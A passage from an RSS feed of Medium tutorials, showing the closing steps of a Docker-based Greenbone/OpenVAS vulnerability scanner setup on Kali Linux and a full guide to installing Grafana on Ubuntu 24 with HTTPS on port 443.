reduce likelyhood of unwanted log interferences<br>  configure-openvas:<br>    image: registry.community.greenbone.net/community/openvas-scanner:stable<br>    volumes:<br>      - openvas_data_vol:/mnt<br>      - openvas_log_data_vol:/var/log/openvas<br>    command:<br>      - /bin/sh<br>      - -c<br>      - |<br>        printf &quot;table_driven_lsc = yes\nopenvasd_server = http://openvasd:80\n&quot; &gt; /mnt/openvas.conf<br>        sed &quot;s/127/128/&quot; /etc/openvas/openvas_log.conf | sed &#39;s/gvm/openvas/&#39; &gt; /mnt/openvas_log.conf<br>        chmod 644 /mnt/openvas.conf<br>        chmod 644 /mnt/openvas_log.conf<br>        touch /var/log/openvas/openvas.log<br>        chmod 666 /var/log/openvas/openvas.log<br><br>  # shows logs of openvas<br>  openvas:<br>    image: registry.community.greenbone.net/community/openvas-scanner:stable<br>    restart: on-failure<br>    volumes:<br>      - openvas_data_vol:/etc/openvas<br>      - openvas_log_data_vol:/var/log/openvas<br>    command:<br>      - /bin/sh<br>      - -c<br>      - |<br>        cat /etc/openvas/openvas.conf<br>        tail -f /var/log/openvas/openvas.log<br>    depends_on:<br>      configure-openvas:<br>        condition: service_completed_successfully<br><br>  openvasd:<br>    image: registry.community.greenbone.net/community/openvas-scanner:stable<br>    restart: on-failure<br>    environment:<br>      # `service_notus` is set to disable everything but notus,<br>      # if you want to utilize openvasd directly removed `OPENVASD_MODE`<br>      OPENVASD_MODE: service_notus<br>      GNUPGHOME: /etc/openvas/gnupg<br>      LISTENING: 0.0.0.0:80<br>    volumes:<br>      - openvas_data_vol:/etc/openvas<br>      - openvas_log_data_vol:/var/log/openvas<br>      - gpg_data_vol:/etc/openvas/gnupg<br>      - notus_data_vol:/var/lib/notus<br>    # enable port forwarding when you want to use the http api from your host machine<br>    # ports:<br>    #   - 127.0.0.1:3000:80<br>    depends_on:<br>      vulnerability-tests:<br>        condition: service_completed_successfully<br>      configure-openvas:<br>        condition: service_completed_successfully<br>      gpg-data:<br>        condition: service_completed_successfully<br>    networks:<br>      default:<br>        aliases:<br>          - openvasd<br><br>  ospd-openvas:<br>    image: registry.community.greenbone.net/community/ospd-openvas:stable<br>    restart: on-failure<br>    hostname: ospd-openvas.local<br>    cap_add:<br>      - NET_ADMIN # for capturing packages in promiscuous mode<br>      - NET_RAW # for raw sockets e.g. used for the boreas alive detection<br>    security_opt:<br>      - seccomp=unconfined<br>      - apparmor=unconfined<br>    command:<br>      [<br>        &quot;ospd-openvas&quot;,<br>        &quot;-f&quot;,<br>        &quot;--config&quot;,<br>        &quot;/etc/gvm/ospd-openvas.conf&quot;,<br>        &quot;--notus-feed-dir&quot;,<br>        &quot;/var/lib/notus/advisories&quot;,<br>        &quot;-m&quot;,<br>        &quot;666&quot;<br>      ]<br>    volumes:<br>      - gpg_data_vol:/etc/openvas/gnupg<br>      - vt_data_vol:/var/lib/openvas/plugins<br>      - notus_data_vol:/var/lib/notus<br>      - ospd_openvas_socket_vol:/run/ospd<br>      - redis_socket_vol:/run/redis/<br>      - openvas_data_vol:/etc/openvas/<br>      - openvas_log_data_vol:/var/log/openvas<br>    depends_on:<br>      redis-server:<br>        condition: service_started<br>      gpg-data:<br>        condition: service_completed_successfully<br>      vulnerability-tests:<br>        condition: service_completed_successfully<br>      configure-openvas:<br>        condition: service_completed_successfully<br><br>  gvm-tools:<br>    image: registry.community.greenbone.net/community/gvm-tools<br>    volumes:<br>      - gvmd_socket_vol:/run/gvmd<br>      - ospd_openvas_socket_vol:/run/ospd<br>    depends_on:<br>      - gvmd<br>      - ospd-openvas<br><br>volumes:<br>  gpg_data_vol:<br>  scap_data_vol:<br>  cert_data_vol:<br>  data_objects_vol:<br>  gvmd_data_vol:<br>  psql_data_vol:<br>  vt_data_vol:<br>  notus_data_vol:<br>  psql_socket_vol:<br>  gvmd_socket_vol:<br>  ospd_openvas_socket_vol:<br>  redis_socket_vol:<br>  openvas_data_vol:<br>  openvas_log_data_vol:</pre><p><strong>Step 3: Deploy the GSA Containers</strong></p><p>Pull the Latest Container</p><pre>screen -S pullup<br>export DOWNLOAD_DIR=$HOME/greenbone-community-container<br>sudo docker compose -f $DOWNLOAD_DIR/docker-compose.yml pull</pre><p>Start the GSA Container</p><pre>sudo docker compose -f $DOWNLOAD_DIR/docker-compose.yml up -d</pre><p>You can view real time logs with</p><pre>sudo docker compose -f $DOWNLOAD_DIR/docker-compose.yml logs -f</pre><p><strong>Step 4: Reset GSA Admin Password</strong></p><pre>sudo docker compose -f $DOWNLOAD_DIR/docker-compose.yml \<br>    exec -u gvmd gvmd gvmd --user=admin --new-password=&#39;YourPassword&#39;</pre><p><strong>Step 5: Access GSA Web Interface</strong></p><pre>https://X.X.X.X</pre><p>Login with the credentials:</p><ul><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: YourPassword (or your new password)</li></ul><p><strong>Conclusion:</strong></p><p>You’ve successfully installed Docker on Kali Linux, set up a TLS certificate for secure web interface access, and deployed the Greenbone Security Assistant (GSA) container. This setup will allow you to start scanning your network for vulnerabilities in a secure, containerized environment.</p><p><strong>Resources:</strong></p><p><a href="https://www.kali.org/docs/containers/installing-docker-on-kali/">https://www.kali.org/docs/containers/installing-docker-on-kali/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbf425224baf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Install Grafana on Ubuntu 24: A Step-by-Step Guide]]></title>
            <link>https://uns8eshow.medium.com/install-grafana-on-ubuntu-24-a-step-by-step-guide-fdd5919ce583?source=rss-a7b5d0dbae2c------2</link>
            <guid isPermaLink="false">https://medium.com/p/fdd5919ce583</guid>
            <dc:creator><![CDATA[UNS8ESHOW]]></dc:creator>
            <pubDate>Wed, 29 Jan 2025 23:09:12 GMT</pubDate>
            <atom:updated>2025-01-29T23:28:21.050Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="GRAFANA LOGO" src="https://cdn-images-1.medium.com/max/474/1*i_uO2pqIF9-as0e5wTcQMA.jpeg" /></figure><p><strong>Introduction</strong></p><p>In today’s data-driven world, monitoring and visualizing metrics is essential for managing infrastructure, applications, and services efficiently. Whether you’re a system administrator, developer, or data scientist, tools like <strong>Grafana</strong> make it easy to analyze and display real-time data in visually appealing dashboards.</p><p>Grafana is one of the most popular open-source platforms for creating custom dashboards and tracking key metrics. In this tutorial, we’ll walk you through the process of installing Grafana on <strong>Ubuntu 24</strong>. You’ll also learn how to set it up with <strong>HTTPSon </strong>port 443<strong> </strong>for secure access, ensuring that your data stays safe while you monitor and visualize it.</p><p>By the end of this guide, you’ll have a fully operational Grafana server, ready to help you keep track of your system’s health and performance. Let’s get started!</p><p><strong>Step 1: Install Dependencies</strong></p><pre>sudo apt-get update<br>sudo apt-get install -y apt-transport-https software-properties-common wget</pre><p><strong>Step 2: Add the Grafana GPG Key</strong></p><pre>sudo mkdir -p /etc/apt/keyrings/<br>wget -q -O - https://apt.grafana.com/gpg.key | gpg --dearmor | sudo tee /etc/apt/keyrings/grafana.gpg &gt; /dev/null</pre><p><strong>Step 3: Add the Grafana Repository</strong></p><pre>echo &quot;deb [signed-by=/etc/apt/keyrings/grafana.gpg] https://apt.grafana.com stable main&quot; | sudo tee -a /etc/apt/sources.list.d/grafana.list</pre><p><strong>Step 4: Update APT and Install Grafana</strong></p><pre>sudo apt-get update<br>sudo apt-get install grafana</pre><p><strong>Step 5: Start Grafana and Enable it to Run on Boot</strong></p><pre>sudo systemctl daemon-reload<br>sudo systemctl start grafana-server<br>sudo systemctl enable grafana-server</pre><p><strong>Step 6: Create HTTPS Certficate for Grafana</strong></p><pre>sudo openssl genrsa -out /etc/grafana/grafana.key 2048<br>sudo openssl req -new -key /etc/grafana/grafana.key -out /etc/grafana/grafana.csr<br>sudo openssl x509 -req -days 365 -in /etc/grafana/grafana.csr -signkey /etc/grafana/grafana.key -out /etc/grafana/grafana.crt</pre><p><strong>Step 7: Set Permissions on SSL Files</strong></p><pre>sudo chown grafana:grafana /etc/grafana/grafana.crt<br>sudo chown grafana:grafana /etc/grafana/grafana.key<br>sudo chmod 400 /etc/grafana/grafana.key /etc/grafana/grafana.crt</pre><p><strong>Step 8: Edit Grafana Configuration</strong></p><pre>sudo nano /etc/grafana/grafana.ini</pre><p>Add the following:</p><pre>[server]<br>http_addr = X.X.X.X<br>http_port = 443<br>domain = X.X<br>root_url = https://X.X.X.X<br>cert_key = /etc/grafana/grafana.key<br>cert_file = /etc/grafana/grafana.crt<br>enforce_domain = False<br>protocol = https</pre><p><strong>Step 9: Update Grafana Systemd Service to Bind to Port 443</strong></p><pre>sudo systemctl edit grafana-server.service</pre><p>Add the following (just after the first two lines):</p><pre>[Service]<br># Give the CAP_NET_BIND_SERVICE capability<br>CapabilityBoundingSet=CAP_NET_BIND_SERVICE<br>AmbientCapabilities=CAP_NET_BIND_SERVICE<br><br># A private user cannot have process capabilities on the host&#39;s user<br># namespace and thus CAP_NET_BIND_SERVICE has no effect.<br>PrivateUsers=false</pre><p><strong>10: Restart Grafana</strong></p><pre>sudo systemctl restart grafana-server</pre><p><strong>Step 11: Access Grafana</strong></p><p>URL: <a href="https://x.x.x.x/">https://IP/</a></p><p>The default login credentials are:</p><ul><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: admin</li></ul><p><strong>Conclusion</strong></p><p>Congratulations, you’ve successfully installed and configured Grafana on Ubuntu 24 with HTTPS! You can now start creating beautiful dashboards, monitoring your metrics, and visualizing your data with Grafana.</p><p><strong>Resources:</strong></p><p><a href="https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/">https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/</a><br><a href="https://grafana.com/docs/grafana/latest/setup-grafana/start-restart-grafana/">https://grafana.com/docs/grafana/latest/setup-grafana/start-restart-grafana/</a><br><a href="https://grafana.com/docs/grafana/latest/setup-grafana/set-up-https/">https://grafana.com/docs/grafana/latest/setup-grafana/set-up-https/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdd5919ce583" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>